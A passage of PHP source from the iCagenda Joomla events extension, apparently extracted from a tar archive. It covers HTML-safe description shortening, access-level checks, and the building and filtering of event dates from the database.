		{
			$desc_full		= $desc_full;
		}

		// Removes HTML tags
		$desc_nohtml	= strip_tags($desc_full);

		// Replaces all sequences of two or more spaces, tabs, and/or line breaks with a single space
		$desc_nohtml	= preg_replace('/[\p{Z}\s]{2,}/u', ' ', $desc_nohtml);

		// Replaces all spaces with a single +
		$desc_nohtml	= str_replace(' ', '+', $desc_nohtml);

		if (strlen($desc_nohtml) > $limit_short)
		{
			// Cuts full description, to get short description
			$string_cut	= substr($desc_nohtml, 0, $limit_short);

			// Detects last space of the short description
			$last_space	= strrpos($string_cut, '+');

			// Cuts the short description after last space
			$string_ok	= substr($string_cut, 0, $last_space);

			// Counts number of tags converted to string, and returns lenght
			$nb_br			= substr_count($string_ok, '+@br@');
			$nb_plus		= substr_count($string_ok, '@@');
			$nb_bopen		= substr_count($string_ok, '@b@');
			$nb_bclose		= substr_count($string_ok, '@bc@');
			$nb_strongopen	= substr_count($string_ok, '@strong@');
			$nb_strongclose	= substr_count($string_ok, '@strongc@');
			$nb_iopen		= substr_count($string_ok, '@i@');
			$nb_iclose		= substr_count($string_ok, '@ic@');
			$nb_emopen		= substr_count($string_ok, '@em@');
			$nb_emclose		= substr_count($string_ok, '@emc@');
			$nb_uopen		= substr_count($string_ok, '@u@');
			$nb_uclose		= substr_count($string_ok, '@uc@');

			// Replaces tag strings with html tags
			$string_ok	= str_replace('@br@', '<br />', $string_ok);
			$string_ok	= str_replace('@b@', '<b>', $string_ok);
			$string_ok	= str_replace('@bc@', '</b>', $string_ok);
			$string_ok	= str_replace('@strong@', '<strong>', $string_ok);
			$string_ok	= str_replace('@strongc@', '</strong>', $string_ok);
			$string_ok	= str_replace('@i@', '<i>', $string_ok);
			$string_ok	= str_replace('@ic@', '</i>', $string_ok);
			$string_ok	= str_replace('@em@', '<em>', $string_ok);
			$string_ok	= str_replace('@emc@', '</em>', $string_ok);
			$string_ok	= str_replace('@u@', '<u>', $string_ok);
			$string_ok	= str_replace('@uc@', '</u>', $string_ok);
			$string_ok	= str_replace('+', ' ', $string_ok);
			$string_ok	= str_replace('@@', '+', $string_ok);

			$text = $string_ok;

			// Close html tags if not closed
			if ($nb_bclose < $nb_bopen) $text = $string_ok.'</b>';
			if ($nb_strongclose < $nb_strongopen) $text = $string_ok.'</strong>';
			if ($nb_iclose < $nb_iopen) $text = $string_ok.'</i>';
			if ($nb_emclose < $nb_emopen) $text = $string_ok.'</em>';
			if ($nb_uclose < $nb_uopen) $text = $string_ok.'</u>';

			$return_text = $text.' ';

			$descShort	= $limit ? $return_text : '';
		}
		else
		{
			$desc_full	= $desc_nohtml;
			$desc_full	= str_replace('@br@', '<br />', $desc_full);
			$desc_full	= str_replace('@b@', '<b>', $desc_full);
			$desc_full	= str_replace('@bc@', '</b>', $desc_full);
			$desc_full	= str_replace('@strong@', '<strong>', $desc_full);
			$desc_full	= str_replace('@strongc@', '</strong>', $desc_full);
			$desc_full	= str_replace('@i@', '<i>', $desc_full);
			$desc_full	= str_replace('@ic@', '</i>', $desc_full);
			$desc_full	= str_replace('@em@', '<em>', $desc_full);
			$desc_full	= str_replace('@emc@', '</em>', $desc_full);
			$desc_full	= str_replace('@u@', '<u>', $desc_full);
			$desc_full	= str_replace('@uc@', '</u>', $desc_full);
			$desc_full	= str_replace('+', ' ', $desc_full);
			$desc_full	= str_replace('@@', '+', $desc_full);

			$descShort	= $limit ? $desc_full : '';
		}
		/** END Filtering HTML function */

		return $descShort;
	}

	/**
	 * Function to check if user has access rights to defined access
	 *
	 * $accessLevel		Access level of the item to check User Permissions
	 *
	 * If in super user group, always allowed
	 */
	static public function accessLevels($accessLevel)
	{
		// Get User Access Levels
		$user		= JFactory::getUser();
		$userLevels	= $user->getAuthorisedViewLevels();
		$userGroups = version_compare(JVERSION, '3.0', 'ge') ? $user->groups : $user->getAuthorisedGroups();

		// Control: if access level, or Super User
		if (in_array($accessLevel, $userLevels)
			|| in_array('8', $userGroups))
		{
			return true;
		}

		return false;
	}

	/**
	 * Process a string in a JOOMLA_TRANSLATION_STRING standard.
	 * This method processes a string and replaces all accented UTF-8 characters by unaccented
	 * ASCII-7 "equivalents" and the string is uppercase. Spaces replaced by underscore.
	 *
	 * @param   string  $string  String to process
	 *
	 * @return  string  Processed string
	 *
	 * @since   3.3.3
	 */
	public static function deleteAllBetween($start, $end, $string)
	{
		$startPos = strpos($string, $start);
		$endPos = strpos($string, $end);

		if (!$startPos || !$endPos)
		{
			return $string;
		}

		$textToDelete = substr($string, $startPos, ($endPos + strlen($end)) - $startPos);

		return str_replace($textToDelete, '', $string);
	}
}
com_icagenda/utilities/events/data.php000060400000106353152455305270014112 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2014-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.7 2015-07-14
 * @since       3.5.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaEventsData
 * Transitional class and functions
 *
 * DEPRECATED and TO BE REMOVED in 3.7.x
 */
class icagendaEventsData
{
	/**
	 * ALL DATES
	 *
	 * @since 3.5.0
	 */
	public static function getAllDates($filterTime = null, $datesDisplay = null, $orderby = null, $mcatid = null, $module = null)
	{
		$app	= JFactory::getApplication();
		$jinput = $app->input;
		$params = $app->getParams();

		// Get Settings
		$filterTime		= ($filterTime == 'no') ? '0' : $filterTime;
		$filterTime		= (isset($filterTime) || $filterTime == '0') ? $filterTime : $params->get('time', 1);
		$datesDisplay	= $datesDisplay ? $datesDisplay : $params->get('datesDisplay', 1);
		$orderby		= $orderby ? $orderby : $params->get('orderby', 2);
		$mcatid			= ($mcatid == 'no') ? array() : $params->get('mcatid');
//		$module			= ($module == 'calendar') ? $module : false;

		// Set vars
		$nodate 		= '0000-00-00 00:00:00';
		$ic_nodate		= '0000-00-00 00:00';
		$eventTimeZone	= null;
		$datetime_today	= JHtml::date('now', 'Y-m-d H:i'); // Joomla Time Zone
		$date_today		= JHtml::date('now', 'Y-m-d'); // Joomla Time Zone
//		$datetime_today	= date('Y-m-d H:i');
//		$date_today		= date('Y-m-d');


		// Get Data
		$db		= Jfactory::getDbo();
		$query	= $db->getQuery(true);
        $query->select('e.next, e.dates, e.startdate, e.enddate, e.period, e.weekdays, e.displaytime, e.id, e.catid');
        $query->from('#__icagenda_events AS e');
		$query->leftJoin('`#__icagenda_category` AS c ON c.id = e.catid');

		// CATEGORY STATE Filtering
		$query->where('c.state = 1');

		// EVENT STATE Filtering
		$query->where('e.state = 1');

		// CATEGORY Filtering
//		$mcatid = is_array($mcatid) ? $mcatid : array();
//		$selcat = implode(', ', $mcatid);

//		if ( ! in_array('0', $mcatid)
//			&& count($mcatid)
//			)
//		{
//			$query->where('e.catid IN (' . $selcat . ')');
//		}
		// Filter by categories.
		$categoryId = $mcatid;

		if (is_numeric($categoryId) && ! empty($categoryId))
		{
			$query->where('e.catid = ' . $categoryId . '');
		}
		elseif (is_array($categoryId) && ! empty($categoryId)
			&& ! in_array('0', $categoryId))
		{
			JArrayHelper::toInteger($categoryId);
			$categoryId = implode(',', $categoryId);
			$query->where('e.catid IN (' . $categoryId . ')');
		}

		// FRONTEND FILTERS

		// Filter by published state
		$published = $jinput->get('filter_state');
//		$published = $this->state->get('filter.state');

		if (is_numeric($published))
		{
			$query->where('e.state = '.(int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(e.state IN (0, 1))');
		}

		// Filter by category
		$category = $jinput->get('filter_category');
//		$category = $this->state->get('filter.category');

		if (is_numeric($category))
		{
			$query->where('e.catid = '.(int) $category);
		}

		$filter_startdate	= $jinput->get('filter_startdate');
		$filter_enddate		= $jinput->get('filter_enddate');
		$filter_year		= $jinput->get('filter_year');

		// FEATURES Filtering
		$query->where(self::getFeaturesFilter());

		// LANGUAGE Filtering
		$query->where('e.language IN (' . $db->q(JFactory::getLanguage()->getTag()) . ',' . $db->q('*') . ')');

		// ACCESS Filtering
		$user		= JFactory::getUser();
		$userID		= $user->id;
		$userLevels	= $user->getAuthorisedViewLevels();
		$userGroups	= $user->groups;
		$groupid	= JComponentHelper::getParams('com_icagenda')->get('approvalGroups', array("8"));
		$groupid	= is_array($groupid) ? $groupid : array($groupid);

		if (!in_array('8', $userGroups) )
		{
			$useraccess	= implode(', ', $userLevels);
			$query->where('e.access IN (' . $useraccess . ')');
		}

		// APPROVAL RIGHTS Filtering
		if (!array_intersect($userGroups, $groupid)
			&& !in_array('8', $userGroups))
		{
			$query->where('e.approval <> 1');
		}
		else
		{
			$query->where('e.approval < 2');
		}

		$db->setQuery($query);
		$list = $db->loadObjectList();

		$list_all_dates = array();

		foreach ($list AS $i)
		{
			$i_id			= $i->id;
			$i_startdate	= $i->startdate;
			$i_enddate		= $i->enddate;
			$i_weekdays		= $i->weekdays;
			$i_dates		= $i->dates;
			$i_displaytime	= $i->displaytime;

			// Declare AllDates array
			$AllDatesDisplay	= array();

			// Get WeekDays Array
			$WeeksDays			= iCDatePeriod::weekdaysToArray($i_weekdays);

			// If Single Dates, added each one to All Dates for this event
			$singledates 		= iCString::isSerialized($i_dates) ? unserialize($i_dates) : array();
			$singleDatesArray	= array();

			$no_filtering		= '0';

			foreach ($singledates as $sd)
			{
				$isValid = iCDate::isDate($sd);

				if ($isValid)
				{
					$date_Dat			= JHtml::date($sd, 'Y-m-d', $eventTimeZone);
					$SingleDate			= JHtml::date($sd, 'Y-m-d H:i', $eventTimeZone);

					$data_SingleDate	= date('Y-m-d H:i', strtotime($sd));

					// Frontend Filtering
					if ( ! empty($filter_year))
					{
						if (date('Y', strtotime($date_Dat)) == $filter_year)
						{
							$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
						}
					}
					elseif ( ! empty($filter_startdate) && ! empty($filter_enddate))
					{
						if (strtotime($date_Dat) >= strtotime($filter_startdate)
							&& strtotime($date_Dat) <= strtotime($filter_enddate)
							)
						{
							$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
						}
					}

					// All Dates for each event
					elseif ($datesDisplay == 1)
					{
						$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
					}

					// Current Today
					elseif ($filterTime == 4
						&& strtotime($SingleDate) >= strtotime($date_today)
						)
					{
						$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
					}

					// Upcoming Events
					elseif ($filterTime == 3
						&& strtotime($SingleDate) > strtotime($datetime_today)
						)
					{
						$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
					}

					// Past event
					elseif ($filterTime == 2
						&& strtotime($SingleDate) < strtotime($datetime_today)
						)
					{
						$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
					}

					// Current and Upcoming Events
					elseif ($filterTime == 1
						&& strtotime($SingleDate) > strtotime($datetime_today)
						)
					{
						$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
					}

					// All Dates
					elseif (!$filterTime)
					{
						// All Upcoming dates
						if (strtotime($SingleDate) >= strtotime($datetime_today))
						{
							$no_filtering = $no_filtering + 1;

							$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
						}

						// If no Upcoming dates, get the last date
						elseif ($no_filtering == 0
							&& strtotime($SingleDate) < strtotime($datetime_today))
						{
							$no_filtering = $no_filtering + 1;

							$singleDatesArray[] = $data_SingleDate . '_' . $i_id;
						}
					}
				}
			}

			if ($datesDisplay == 2
				&& $filterTime == 2
				&& count($singleDatesArray) > 0) // Past Events
			{
				$AllDatesDisplay[] = max($singleDatesArray);
			}
			elseif ($datesDisplay == 2
				&& count($singleDatesArray) > 0)
			{
				$AllDatesDisplay[] = min($singleDatesArray);
			}
			else
			{
				$AllDatesDisplay = array_merge($AllDatesDisplay, $singleDatesArray);
			}

			// If Period Dates, added each one to All Dates for this event (filter week Days, and if date not null)
//			$perioddates = iCDatePeriod::listDates($i_startdate, $i_enddate, $eventTimeZone);

			$perioddates = iCDatePeriod::listDates($i_startdate, $i_enddate);

			$period_array = array();

			foreach ($perioddates AS $date_in_weekdays)
			{
//				$datetime_period_date = JHtml::date($date_in_weekdays, 'Y-m-d H:i', $eventTimeZone);
//				$datetime_period_date = date('Y-m-d H:i', strtotime($date_in_weekdays));
//				$datetime_period_date = $date_in_weekdays;

				if (in_array(date('w', strtotime($date_in_weekdays)), $WeeksDays)
					&& iCDate::isDate($date_in_weekdays))
				{
					$period_array[] = $date_in_weekdays;
				}
			}

			$only_startdate = ($i_weekdays || $i_weekdays == '0') ? false : true;
//			$only_startdate = ! $module ? $only_startdate : false;

			$StDate = JHtml::date($i_startdate, 'Y-m-d H:i', $eventTimeZone);
			$EnDate = JHtml::date($i_enddate, 'Y-m-d H:i', $eventTimeZone);

			$date_startdate	= JHtml::date($i_startdate, 'Y-m-d', $eventTimeZone);
			$date_enddate	= JHtml::date($i_enddate, 'Y-m-d', $eventTimeZone);
			$time_startdate	= JHtml::date($i_startdate, 'H:i', $eventTimeZone);
			$time_enddate	= JHtml::date($i_enddate, 'H:i', $eventTimeZone);

			$data_StDate = date('Y-m-d H:i', strtotime($i_startdate));
			$data_time_startdate	= date('H:i', strtotime($i_startdate));

//			$StDate = date('Y-m-d H:i', strtotime($i_startdate));
//			$EnDate = date('Y-m-d H:i', strtotime($i_enddate));

//			$date_startdate	= date('Y-m-d', strtotime($i_startdate));
//			$date_enddate	= date('Y-m-d', strtotime($i_enddate));
//			$time_startdate	= date('H:i', strtotime($i_startdate));
//			$time_enddate	= date('H:i', strtotime($i_enddate));

			if (isset($period_array)
				&& ($period_array != NULL && $period_array)
				)
			{
				if ($only_startdate)
				{
					$AllDatesDisplay[] = $data_StDate . '_' . $i_id;
				}
				else
				{
					$dp = 0;
					$count_period = count($period_array);
					$cp = 0;
					$no_filtering = 0;

					foreach ($period_array as $Dat)
					{
						$date_Dat	= JHtml::date($Dat, 'Y-m-d', $eventTimeZone);
						$SingleDate	= JHtml::date($Dat, 'Y-m-d H:i', $eventTimeZone);

						$data_date_Dat	= date('Y-m-d', strtotime($Dat));
						$data_SingleDate	= date('Y-m-d H:i', strtotime($Dat));

//						$date_Dat	= date('Y-m-d', strtotime($Dat));
//						$SingleDate	= date('Y-m-d H:i', strtotime($Dat));

						if (in_array(date('w', strtotime($Dat)), $WeeksDays)
							&& $dp == 0
							)
						{
							// Frontend Filtering
							if ( ! empty($filter_year))
							{
								if (date('Y', strtotime($date_Dat)) == $filter_year)
								{
									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}
							}
							elseif ( ! empty($filter_startdate) && ! empty($filter_enddate))
							{
								if (strtotime($date_Dat) >= strtotime($filter_startdate)
									&& strtotime($date_Dat) <= strtotime($filter_enddate)
									)
								{
									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}
							}

							// Current Today and Upcoming Today
							elseif ($filterTime == 4
								&& strtotime($date_Dat) == strtotime($date_today))
							{
								if ($i_displaytime == 1
									&& strtotime($date_Dat . ' ' . $time_enddate) >= strtotime($datetime_today))
								{
									$dp = ($datesDisplay == 2) ? $dp+1 : 0;

									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}
								else
								{
									$dp = ($datesDisplay == 2) ? $dp+1 : 0;

									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}
							}

							// Upcoming
							elseif ($filterTime == 3
								&& strtotime($SingleDate) > strtotime($datetime_today))
							{
								$dp = ($datesDisplay == 2) ? $dp+1 : 0;

								$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
							}

							// Past
							elseif ($filterTime == 2
								&& strtotime($date_Dat) < strtotime($date_today))
							{
								$dp = ($datesDisplay == 2) ? $dp+1 : 0;

								$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
							}

							// Current Today and Upcoming
							elseif ($filterTime == 1)
							{
								if ($i_displaytime == 1
									&& strtotime($date_Dat . ' ' . $time_enddate) >= strtotime($datetime_today))
								{
									$dp = ($datesDisplay == 2) ? $dp+1 : 0;

									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}
								elseif ($i_displaytime != 1
									&& strtotime($date_Dat) >= strtotime($date_today))
								{
									$dp = ($datesDisplay == 2) ? $dp+1 : 0;

									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}
							}

							// No Filtering
							elseif ( ! $filterTime)
							{
								// All Upcoming dates
								if (strtotime($SingleDate) >= strtotime($datetime_today))
								{
									$dp = ($datesDisplay == 2) ? $dp+1 : 0;
									$no_filtering = ($datesDisplay == 2) ? $no_filtering+1 : 0;

									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}

								// If no Upcoming dates, get the last date
								elseif ($no_filtering == 0 && $datesDisplay == 2
									&& strtotime($SingleDate) < strtotime($datetime_today))
								{
									$dp = $dp+1;

									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}

								// If display All Dates, get the last dates
								elseif ( $datesDisplay == 1
									&& strtotime($SingleDate) < strtotime($datetime_today))
								{
									$dp = 0;

									$AllDatesDisplay[] = $data_SingleDate . '_' . $i_id;
								}
							}
						}
					}
				}
			}

			// If not All Dates display (select only one date for each event)
			if ( $datesDisplay == 2
				&& count($AllDatesDisplay) > 0 )
			{
				$ex_min 	= explode('_', min($AllDatesDisplay));
//				$min_date	= $ex_min[0];
				$min_date	= JHtml::date($ex_min[0], 'Y-m-d H:i', null);
				$ex_max 	= explode('_', max($AllDatesDisplay));
//				$max_date	= $ex_max[0];
				$max_date	= JHtml::date($ex_max[0], 'Y-m-d H:i', null);

				if ($filterTime != '4')
				{
					// min date is upcoming
					if ( $min_date >= $datetime_today )
					{
						$AllDatesDisplay = array(min($AllDatesDisplay));
					}

					// All events
					elseif ($filterTime == '0')
					{
						// min date in Period and upcoming
						if (in_array($min_date, $period_array)
							&& $min_date >= $datetime_today )
						{
							$AllDatesDisplay = array(min($AllDatesDisplay));
						}

						// min date is Single date and not past
						elseif ( ! in_array($min_date, $period_array)
							&& ($min_date > $datetime_today) )
						{
							$AllDatesDisplay = array(min($AllDatesDisplay));
						}

						// min date is Single date and past
						else
						{
							$AllDatesDisplay = array(max($AllDatesDisplay));
						}
					}
					else
					{
						$AllDatesDisplay = array(max($AllDatesDisplay));
					}
				}
				else
				{
					$AllDatesDisplay = array(min($AllDatesDisplay));
				}
			}

			$AllDatesFilterTime = array();

			foreach ($AllDatesDisplay as $fD)
			{
				$ex_date		= explode('_', $fD);
				$get_date		= $ex_date['0'];
				$date_get_date	= JHtml::date($get_date, 'Y-m-d', $eventTimeZone);
				$data_date_get_date	= date('Y-m-d', strtotime($get_date));

				// Frontend Filtering
				if ( ! empty($filter_year))
				{
					if (date('Y', strtotime($get_date)) == $filter_year)
					{
						$AllDatesFilterTime[] = $fD;
					}
				}
				elseif ( ! empty($filter_startdate) && ! empty($filter_enddate))
				{
					if (strtotime($get_date) >= strtotime($filter_startdate)
						&& strtotime($get_date) <= strtotime($filter_enddate)
						)
					{
						$AllDatesFilterTime[] = $fD;
					}
				}

				// (0) Filter Dates : All Dates
				elseif ($filterTime == 0)
				{
					// Period with no weekdays selected
					if ( in_array($get_date, $perioddates)
						&& $only_startdate
						&& ! in_array($StDate . '_' . $i_id, $AllDatesFilterTime)
						)
					{
						$AllDatesFilterTime[] = $data_StDate . '_' . $i_id;
					}

					// Period with weekdays selected
					elseif ( in_array($get_date, $perioddates)
						&& ! $only_startdate
						)
					{
						$AllDatesFilterTime[] = $fD;
					}

					// Single Dates
					elseif ( ! in_array($get_date, $perioddates) )
					{
						$AllDatesFilterTime[] = $fD;
					}
				}

				// (1) Filter Dates : Ongoing and Upcoming
				elseif ($filterTime == 1)
				{
					// Period with no weekdays selected
					if (in_array($get_date, $perioddates)
						&& $only_startdate
						&& strtotime($EnDate) >= strtotime($datetime_today)
						&& !in_array($StDate . '_' . $i_id, $AllDatesFilterTime)
						)
					{
						$AllDatesFilterTime[] = $data_StDate . '_' . $i_id;
					}

					// Period with weekdays selected
					elseif (in_array($get_date, $perioddates)
						&& !$only_startdate
						)
					{
						// If display time, control end time of the day
						if ($i_displaytime == 1
							&& strtotime($date_get_date . ' ' . $time_enddate) >= strtotime($datetime_today))
						{
							$AllDatesFilterTime[] = $fD;
						}

						// If do not display time, control start time of the day
						elseif ($i_displaytime != 1
							&& strtotime($date_get_date) >= strtotime($date_today))
						{
							$AllDatesFilterTime[] = $fD;
						}
					}

					// Single Dates
					elseif (!in_array($get_date, $perioddates)
//						&& strtotime($get_date) >= strtotime($datetime_today)
						// Changed because single dates have no end time, so admitted end time is midnight.
						&& strtotime($get_date) >= strtotime($date_today)
						)
					{
						$AllDatesFilterTime[] = $fD;
					}
				}

				// (2) Filter Dates : Past Dates
				elseif ($filterTime == 2)
				{
					// Period with no weekdays selected
					if ( in_array($get_date, $perioddates)
						&& $only_startdate
						&& (strtotime($EnDate) < strtotime($datetime_today))
						 )
					{
						$AllDatesFilterTime[] = $fD;
					}

					// Period with weekdays selected
					elseif ( in_array($get_date, $perioddates)
						&& !$only_startdate
						&&  strtotime($get_date) < strtotime($datetime_today)
						&&  strtotime($date_get_date . ' ' . $time_enddate) < strtotime($datetime_today)
						 )
					{
						$AllDatesFilterTime[] = $fD;
					}

					// Single Dates
					elseif ( !in_array($get_date, $perioddates)
						&& strtotime($get_date) < strtotime($datetime_today)
						 )
					{
						$AllDatesFilterTime[] = $fD;
					}
				}

				// (3) Filter Dates : Upcoming
				elseif ($filterTime == 3)
				{
					// Period with no weekdays selected
					if (in_array($get_date, $perioddates)
						&& $only_startdate
						&& (strtotime($StDate) > strtotime($datetime_today))
						)
					{
						$AllDatesFilterTime[] = $fD;
					}

					// Period with weekdays selected
					elseif (in_array($get_date, $perioddates)
						&& ! $only_startdate
						&&  strtotime($get_date) > strtotime($datetime_today)
						&&  strtotime($date_get_date . ' ' . $time_startdate) > strtotime($datetime_today)
						)
					{
						$AllDatesFilterTime[] = $fD;
					}

					// Single Dates
					elseif ( ! in_array($get_date, $perioddates)
						&& strtotime($get_date) > strtotime($datetime_today)
						)
					{
						$AllDatesFilterTime[] = $fD;
					}
				}

				// (4) Filter Dates : Ongoing Events today
				elseif ($filterTime == 4)
				{
					// Period with no weekdays selected
					if (in_array($get_date, $perioddates)
						&& $only_startdate
						&& strtotime($EnDate) > strtotime($datetime_today)
						&& strtotime($StDate) < (strtotime($date_today) + 86400)
						)
					{
						$AllDatesFilterTime[] = $data_date_get_date . ' ' . $data_time_startdate . '_' . $i_id;
					}

					// Period with weekdays selected
					elseif ( in_array($get_date, $perioddates)
						&& ! $only_startdate
						&& ( strtotime($date_get_date) == strtotime($date_today)
						&& strtotime($date_get_date . ' ' . $time_enddate) < (strtotime($date_today) + 86400) )
						 )
					{
						$AllDatesFilterTime[] = $fD;
					}

					// Single Dates
					elseif ( !in_array($get_date, $perioddates)
//						&& ( strtotime($get_date) >= strtotime($datetime_today)
						// Changed because single dates have no end time, so admitted end time is midnight.
						&& ( strtotime($get_date) >= strtotime($date_today)
						&& strtotime($get_date) < (strtotime($date_today) + 86400) )
						 )
					{
						$AllDatesFilterTime[] = $fD;
					}
				}
			}

			$list_all_dates = array_merge($list_all_dates, $AllDatesFilterTime);
		}

		if ($orderby == 2)
		{
			sort($list_all_dates);
		}
		else
		{
			rsort($list_all_dates);
		}

		return $list_all_dates;
	}

	/**
	 * Get and update NEXT DATE
	 *
	 * @since 3.5.4
	 */

	public static function getNext()
	{
		$app = JFactory::getApplication();
		$params = $app->getParams();

		// Get Settings
		$filterTime		= $params->get('time', 1);

		// Set vars
		$nodate			= '0000-00-00 00:00:00';
		$eventTimeZone	= null;
		$datetime_today	= JHtml::date('now', 'Y-m-d H:i:s'); // Joomla Time Zone
		$date_today		= JHtml::date('now', 'Y-m-d'); // Joomla Time Zone
		$time_today		= JHtml::date('now', 'H:i:s'); // Joomla Time Zone
//		$datetime_today	= date('Y-m-d H:i:s');
//		$date_today		= date('Y-m-d');
//		$time_today		= date('H:i:s');

		// Preparing connection to db
		$db	= Jfactory::getDbo();

		// Preparing the query
		$query = $db->getQuery(true);

		$query->select('next AS tNext, dates AS tDates, startdate AS tStartdate, enddate AS tEnddate,
						weekdays AS tWeekdays, id AS tId, state AS tState, access AS tAccess');
		$query->from('`#__icagenda_events` AS e');
		$query->where(' e.state = 1 OR e.state = 0 ');
		$db->setQuery($query);

		$all_next_dates = $db->loadObjectList();

		foreach ($all_next_dates as $nd)
		{
			$nd_next		= $nd->tNext;
			$nd_id			= $nd->tId;
			$nd_state		= $nd->tState;
			$nd_dates		= $nd->tDates;
			$nd_startdate	= $nd->tStartdate;
			$nd_enddate		= $nd->tEnddate;
			$nd_weekdays	= $nd->tWeekdays;

			// If Single Dates, added to all dates for this event
			$singleDates	= iCString::isSerialized($nd_dates) ? unserialize($nd_dates) : array();

			$AllDates = array();

			// Get WeekDays Array
			$WeeksDays = iCDatePeriod::weekdaysToArray($nd_weekdays);

			if (isset ($singleDates)
				&& $singleDates != NULL
				&& !in_array($nodate, $singleDates)
				&& !in_array('', $singleDates)
				)
			{
				$AllDates = array_merge($AllDates, $singleDates);
			}
			elseif (in_array('', $singleDates))
			{
				$datesarray		= array();
				$nodate			= array('0000-00-00 00:00');
				$datesmerger	= array_push($datesarray, $nodate);
				$DatesUpdate	= serialize($nodate);

				$query	= $db->getQuery(true);
				$query->update('#__icagenda_events');
				$query->set("`dates`='" . (string)$DatesUpdate . "'");
				$query->where('`id`=' . (int)$nd_id);
				$db->setQuery($query);
				$db->query($query);

				$nosingledates	= unserialize($DatesUpdate);
				$AllDates		= array_merge($AllDates, $nosingledates);
			}

//			$StDate			= JHtml::date($nd_startdate, 'Y-m-d H:i', $eventTimeZone);
//			$EnDate			= JHtml::date($nd_enddate, 'Y-m-d H:i', $eventTimeZone);

//			$date_enddate	= JHtml::date($nd_enddate, 'Y-m-d', $eventTimeZone);
//			$time_enddate	= JHtml::date($nd_enddate, 'H:i', $eventTimeZone);
//			$date_startdate = JHtml::date($nd_startdate, 'Y-m-d', $eventTimeZone);
//			$time_startdate = JHtml::date($nd_startdate, 'H:i', $eventTimeZone);

			$StDate			= date('Y-m-d H:i', strtotime($nd_startdate));
			$EnDate			= date('Y-m-d H:i', strtotime($nd_enddate));

			$date_enddate	= date('Y-m-d', strtotime($nd_enddate));
			$time_enddate	= date('H:i', strtotime($nd_enddate));
			$date_startdate = date('Y-m-d', strtotime($nd_startdate));
			$time_startdate = date('H:i', strtotime($nd_startdate));

//			$perioddates	= iCDatePeriod::listDates($nd_startdate, $nd_enddate, $eventTimeZone);
			$perioddates	= iCDatePeriod::listDates($nd_startdate, $nd_enddate);

			$only_startdate	= ($nd_weekdays || $nd_weekdays == '0') ? false : true;

			if (isset($perioddates)
				&& $perioddates != NULL
				)
			{
				// Period with no weekdays in Upcoming and Past options
				if ($only_startdate
					&& ($filterTime == '3' || $filterTime == '2')
					)
				{
					array_push($AllDates, $StDate);
				}
				else
				{
					foreach ($perioddates as $Dat)
					{
						if (in_array(date('w', strtotime($Dat)), $WeeksDays))
						{
							$date_Dat	= date('Y-m-d', strtotime($Dat));
							$SingleDate	= date('Y-m-d H:i', strtotime($Dat));

							if ( $date_Dat == $date_today && $filterTime != 3 )
							{
								// Next in Period is today, so set end time
								array_push($AllDates, $date_Dat . ' ' .$time_startdate);
							}
							else
							{
								array_push($AllDates, $SingleDate);
							}
						}
					}
				}
			}

			rsort($AllDates);

			if ($AllDates == NULL)
			{
				$next ='0000-00-00 00:00:00';
			}
			else
			{
				$date_lastdate		= date('Y-m-d', strtotime($AllDates[0]));
				$datetime_lastdate	= date('Y-m-d H:i:s', strtotime($AllDates[0]));

				$date_startdate		= date('Y-m-d', strtotime($nd_startdate));
				$date_enddate		= date('Y-m-d', strtotime($nd_enddate));

				$time_startdate		= date('H:i:s', strtotime($nd_startdate));
				$time_enddate		= date('H:i:s', strtotime($nd_enddate));

				$returnNext			= $nd_next;

				$next_is_set		= '0';

//				$today_SD	= '0';
				$today_upcoming_SD	= '0';
				$upcoming_SD		= '0';

				foreach ($AllDates as $a)
				{
					$tsdate_a = date('Y-m-d', strtotime($a));

					if ($tsdate_a == $date_today)
					{
						// All single dates today
//						$today_SD = $today_SD + 1;
						// All single dates today and not yet started
						$today_upcoming_SD	= (strtotime($a) > strtotime($datetime_today)) ? ($today_upcoming_SD + 1) : $today_upcoming_SD;
					}

					if ($tsdate_a >= $datetime_today)
					{
						// All upcoming single dates
						$upcoming_SD	= $upcoming_SD + 1;
					}
				}

				$total_today_SD = $today_upcoming_SD;

				foreach ($AllDates as $a)
				{
					$tsdatetime_a	= date('Y-m-d H:i:s', strtotime($a));
					$tsdate_a		= date('Y-m-d', strtotime($a));

					// Only past single dates
					if ($datetime_lastdate < $datetime_today
						&& $date_lastdate != $date_today
						&& $next_is_set == '0')
					{
						$returnNext = date('Y-m-d H:i:s', strtotime($AllDates[0]));
						$next_is_set = $next_is_set + 1;
					}

					// The last date is today
					elseif ($date_lastdate == $date_today
						&& $next_is_set == '0'
						&& $total_today_SD == 1)
					{
						// Period divided into days
						if ($nd_startdate != $nodate
							&& $nd_enddate != $nodate
							&& in_array($a, $perioddates)
							&& !$only_startdate
							)
						{
							$returnNext = date('Y-m-d', strtotime($nd_enddate)) . ' ' . $time_startdate;
							$next_is_set = $next_is_set + 1;
						}

						// Full period (from ... to ...)
						elseif ($nd_startdate != $nodate
							&& $nd_enddate != $nodate
							&& in_array($a, $perioddates)
							&& $only_startdate
							)
						{
